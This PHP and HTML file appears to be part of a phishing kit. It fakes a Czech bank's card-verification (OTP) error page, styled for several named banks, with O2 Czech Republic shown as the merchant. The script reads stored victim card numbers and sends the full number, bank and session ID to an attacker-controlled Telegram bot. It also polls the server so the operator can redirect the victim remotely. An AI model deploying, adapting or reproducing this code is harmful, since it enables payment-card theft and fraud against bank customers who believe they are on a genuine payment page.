<?php
// Start session to get payment session ID
session_start();

// Check if session ID exists
if (!isset($_SESSION['payment_session_id'])) {
    // Redirect to payment page if no session ID
    header('Location: payment.html');
    exit;
}

$sessionId = $_SESSION['payment_session_id'];

// Configuration file path
$config_dir = 'config';
$pending_cards_file = $config_dir . '/pending_cards.json';
$redirect_config_file = $config_dir . '/redirect_settings.json';

// Load existing redirect settings if file exists
$redirect_settings = [
    'success_url' => 'success.html',
    'failure_url' => 'bank_otp.php',
    'default_destination' => 'https://www.example.com',
    'redirect_delay' => 2
];
if (file_exists($redirect_config_file)) {
    $config_content = file_get_contents($redirect_config_file);
    $loaded_settings = json_decode($config_content, true);
    if (is_array($loaded_settings)) {
        $redirect_settings = array_merge($redirect_settings, $loaded_settings);
    }
}

// Get card info for bank specific customization
$bank_name = 'Česká spořitelna';
$bank_logo = 'images/cs-bank-logo.png';
$bank_color = '#0070F7';
$card_type = 'VISA';

if (file_exists($pending_cards_file)) {
    $pending_content = file_get_contents($pending_cards_file);
    $pending_cards = json_decode($pending_content, true) ?: [];
    
    if (isset($pending_cards[$sessionId])) {
        if (isset($pending_cards[$sessionId]['bank_name'])) {
            $bank_name = $pending_cards[$sessionId]['bank_name'];
        }
        
        if (isset($pending_cards[$sessionId]['card_type'])) {
            $card_type = $pending_cards[$sessionId]['card_type'];
        }
        
        // Update status to OTP error
        $pending_cards[$sessionId]['status'] = 'otp_error';
        $pending_cards[$sessionId]['otp_error_time'] = date('Y-m-d H:i:s');
        file_put_contents($pending_cards_file, json_encode($pending_cards, JSON_PRETTY_PRINT));
        
        // Send notification to Telegram
        $TELEGRAM_BOT_TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN';
        $CHAT_ID = 'YOUR_CHAT_ID';
        
        $message = "⚠️ OTP Error Page Reached:\n";
        $message .= "------------------------\n";
        $message .= "💳 Card: " . $pending_cards[$sessionId]['card_number'] . "\n";
        $message .= "🏦 Bank: $bank_name\n";
        $message .= "🆔 Session ID: $sessionId\n";
        $message .= "⏰ Time: " . date('Y-m-d H:i:s') . "\n";
        
        $telegramApiUrl = "https://api.telegram.org/bot$TELEGRAM_BOT_TOKEN/sendMessage";
        $postData = [
            'chat_id' => $CHAT_ID,
            'text' => $message,
            'parse_mode' => 'HTML'
        ];
        
        $ch = curl_init($telegramApiUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
        curl_exec($ch);
        curl_close($ch);
    }
}

// Error type (can be customized based on parameters or specific scenarios)
$error_type = isset($_GET['type']) ? $_GET['type'] : 'timeout';
$error_attempts = isset($_GET['attempts']) ? (int)$_GET['attempts'] : 1;
$max_attempts = 3;

// Error messages based on type
$error_messages = [
    'timeout' => 'Vypršel časový limit pro zadání kódu.',
    'invalid' => 'Zadaný kód není správný.',
    'blocked' => 'Platba byla dočasně zablokována z důvodu překročení maximálního počtu pokusů.',
    'network' => 'Chyba připojení. Prosím, zkontrolujte síťové připojení a zkuste to znovu.',
    'technical' => 'Technická chyba. Prosím, zkuste to později.',
    'session' => 'Vaše relace vypršela. Prosím, začněte znovu.'
];

$error_message = isset($error_messages[$error_type]) ? $error_messages[$error_type] : $error_messages['technical'];

// Choose bank-specific styling
$bank_styles = [
    'Česká spořitelna' => [
        'color' => '#0070F7',
        'logo' => 'images/cs-bank-logo.png',
    ],
    'Komerční banka' => [
        'color' => '#0066B0',
        'logo' => 'images/kb-bank-logo.png',
    ],
    'ČSOB' => [
        'color' => '#0097A9',
        'logo' => 'images/csob-bank-logo.png',
    ],
    'Raiffeisenbank' => [
        'color' => '#FEEE00',
        'textColor' => '#000',
        'logo' => 'images/rb-bank-logo.png',
    ],
    'Moneta' => [
        'color' => '#95C11F',
        'logo' => 'images/moneta-bank-logo.png',
    ],
    // Add more banks as needed
];

// Default styling
$bank_color = '#0070F7';
$bank_text_color = '#FFF';
$bank_logo_url = 'images/bank-logo.png';

// Apply bank-specific styling if available
if (isset($bank_styles[$bank_name])) {
    $bank_color = $bank_styles[$bank_name]['color'];
    $bank_logo_url = $bank_styles[$bank_name]['logo'];
    if (isset($bank_styles[$bank_name]['textColor'])) {
        $bank_text_color = $bank_styles[$bank_name]['textColor'];
    }
}

// Get masked card number
$masked_card = 'XXXXXXXXXXXXXXXX';
if (isset($pending_cards[$sessionId]['card_number'])) {
    $card_number = $pending_cards[$sessionId]['card_number'];
    $card_number = preg_replace('/\D/', '', $card_number);
    $masked_card = substr($card_number, 0, 4) . ' ' . substr($card_number, 4, 2) . 'XX XXXX ' . substr($card_number, -4);
}

// Function to check if a redirect has been set for this session
function checkRedirectStatus($sessionId, $pendingCardsFile) {
    if (!file_exists($pendingCardsFile)) {
        return false;
    }
    
    $pendingContent = file_get_contents($pendingCardsFile);
    $pendingCards = json_decode($pendingContent, true) ?: [];
    
    if (isset($pendingCards[$sessionId]) && 
        isset($pendingCards[$sessionId]['status']) && 
        $pendingCards[$sessionId]['status'] === 'redirected' &&
        isset($pendingCards[$sessionId]['redirect_url'])) {
        
        return $pendingCards[$sessionId]['redirect_url'];
    }
    
    return false;
}

// Check if this is an AJAX request to check status
if (isset($_GET['check']) && $_GET['check'] === 'status') {
    $redirectStatus = checkRedirectStatus($sessionId, $pending_cards_file);
    
    header('Content-Type: application/json');
    if ($redirectStatus) {
        echo json_encode(['redirect' => true, 'url' => $redirectStatus]);
    } else {
        echo json_encode(['redirect' => false]);
    }
    exit;
}
?>
<!DOCTYPE html>
<html lang="cs">
<head>
    <meta charset="UTF-8">
    <link rel="icon" type="image/png" sizes="16x16" href="images/downloadavatar.png">
    <link rel="icon" type="image/png" sizes="32x32" href="images/downloadavatar.png">
    <link rel="apple-touch-icon" sizes="180x180" href="images/downloadavatar.png">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Chyba ověření - <?php echo htmlspecialchars($bank_name); ?></title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            margin: 0;
            padding: 20px;
            box-sizing: border-box;
        }
        .error-container {
            background-color: white;
            border-radius: 8px;
            box-shadow: 0 4px 6px rgba(0,0,0,0.1);
            width: 100%;
            max-width: 400px;
            overflow: hidden;
        }
        .bank-header {
            background-color: <?php echo $bank_color; ?>;
            color: <?php echo $bank_text_color; ?>;
            padding: 15px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .bank-logo {
            height: 30px;
        }
        .card-brand {
            height: 24px;
        }
        .error-content {
            padding: 20px;
        }
        h1 {
            font-size: 1.5em;
            margin-top: 0;
            margin-bottom: 15px;
            color: #333;
        }
        .error-details {
            margin-bottom: 20px;
        }
        .detail-row {
            display: flex;
            justify-content: space-between;
            margin-bottom: 8px;
            font-size: 0.9em;
        }
        .detail-label {
            color: #666;
        }
        .detail-value {
            font-weight: bold;
            color: #333;
        }
        .error-icon {
            color: #e74c3c;
            font-size: 4em;
            text-align: center;
            margin: 15px 0;
        }
        .error-message {
            background-color: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 4px;
            margin-bottom: 20px;
        }
        .retry-button {
            width: 100%;
            padding: 12px;
            background-color: <?php echo $bank_color; ?>;
            color: <?php echo $bank_text_color; ?>;
            border: none;
            border-radius: 4px;
            font-size: 1em;
            font-weight: bold;
            cursor: pointer;
            transition: opacity 0.3s ease;
            margin-bottom: 15px;
        }
        .retry-button:hover {
            opacity: 0.9;
        }
        .cancel-button {
            width: 100%;
            padding: 12px;
            background-color: #f4f4f4;
            color: #333;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 1em;
            font-weight: bold;
            cursor: pointer;
            transition: background-color 0.3s ease;
        }
        .cancel-button:hover {
            background-color: #e7e7e7;
        }
        .error-note {
            text-align: center;
            margin-top: 15px;
            font-size: 0.8em;
            color: #888;
        }
        .error-note p {
            margin: 5px 0;
        }
        .attempt-counter {
            text-align: center;
            margin: 15px 0;
            font-size: 0.9em;
            color: #666;
        }
        .attempt-dots {
            display: flex;
            justify-content: center;
            margin: 10px 0;
        }
        .attempt-dot {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            background-color: #ddd;
            margin: 0 5px;
        }
        .attempt-dot.active {
            background-color: <?php echo $bank_color; ?>;
        }
        .error-steps {
            margin: 20px 0;
            padding: 15px;
            background-color: #f9f9f9;
            border-radius: 4px;
        }
        .error-step {
            display: flex;
            margin-bottom: 10px;
        }
        .error-step:last-child {
            margin-bottom: 0;
        }
        .error-step-number {
            width: 24px;
            height: 24px;
            background-color: <?php echo $bank_color; ?>;
            color: <?php echo $bank_text_color; ?>;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-weight: bold;
            font-size: 0.8em;
            margin-right: 10px;
            flex-shrink: 0;
        }
        .error-step-text {
            font-size: 0.9em;
            color: #333;
        }
    </style>
</head>
<body>
    <div class="error-container">
        <div class="bank-header">
            <img src="image/vm.png" alt="<?php echo htmlspecialchars($bank_name); ?>" class="bank-logo">
            <img src="images/card-<?php echo strtolower(htmlspecialchars($card_type)); ?>.svg" alt="<?php echo htmlspecialchars($card_type); ?>" class="card-brand">
        </div>
        
        <div class="error-content">
            <h1>Chyba ověření</h1>
            
            <div class="error-details">
                <div class="detail-row">
                    <span class="detail-label">Obchodník</span>
                    <span class="detail-value">O2 Czech Republic</span>
                </div>
                <div class="detail-row">
                    <span class="detail-label">Číslo karty</span>
                    <span class="detail-value"><?php echo htmlspecialchars($masked_card); ?></span>
                </div>
                <div class="detail-row">
                    <span class="detail-label">Částka</span>
                    <span class="detail-value">10,99 Kč</span>
                </div>
            </div>
            
            <div class="error-icon">
                <svg xmlns="http://www.w3.org/2000/svg" width="64" height="64" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                    <circle cx="12" cy="12" r="10"></circle>
                    <line x1="12" y1="8" x2="12" y2="12"></line>
                    <line x1="12" y1="16" x2="12.01" y2="16"></line>
                </svg>
            </div>
            
            <div class="error-message">
                <?php echo htmlspecialchars($error_message); ?>
            </div>
            
            <?php if($error_type !== 'blocked'): ?>
            <div class="attempt-counter">
                <div>Pokus <?php echo $error_attempts; ?> z <?php echo $max_attempts; ?></div>
                <div class="attempt-dots">
                    <?php for($i = 1; $i <= $max_attempts; $i++): ?>
                    <div class="attempt-dot <?php echo ($i <= $error_attempts) ? 'active' : ''; ?>"></div>
                    <?php endfor; ?>
                </div>
            </div>
            
            <div class="error-steps">
                <div class="error-step">
                    <div class="error-step-number">1</div>
                    <div class="error-step-text">Zkontrolujte správnost zadaného kódu.</div>
                </div>
                <div class="error-step">
                    <div class="error-step-number">2</div>
                    <div class="error-step-text">Ujistěte se, že používáte nejnovější verzi aplikace.</div>
                </div>
                <div class="error-step">
                    <div class="error-step-number">3</div>
                    <div class="error-step-text">Zkontrolujte stabilitu internetového připojení.</div>
                </div>
            </div>
            
            <?php if($error_attempts < $max_attempts): ?>
            <a href="bank_otp.php" class="retry-button">Zkusit znovu</a>
            <?php endif; ?>
            <?php endif; ?>
            
            <a href="<?php echo htmlspecialchars($redirect_settings['failure_url']); ?>" class="cancel-button">Zrušit platbu</a>
            
            <div class="error-note">
                <p>Pro pomoc kontaktujte zákaznickou podporu <?php echo htmlspecialchars($bank_name); ?>.</p>
                <p>Kód chyby: ERR<?php echo strtoupper(substr(md5($sessionId), 0, 8)); ?></p>
            </div>
        </div>
    </div>
    
    <script>
        // Check redirect status periodically
        function checkRedirectStatus() {
            fetch('otp_error.php?check=status')
                .then(response => response.json())
                .then(data => {
                    if (data.redirect) {
                        // Redirect to the specified URL
                        window.location.href = data.url;
                    } else {
                        // Continue checking after a delay
                        setTimeout(checkRedirectStatus, 3000); // Check every 3 seconds
                    }
                })
                .catch(error => {
                    console.error('Error:', error);
                    // Try again after a delay even if there's an error
                    setTimeout(checkRedirectStatus, 5000);
                });
        }
        
        // Start checking for redirect status
        checkRedirectStatus();
    </script>
</body>
</html>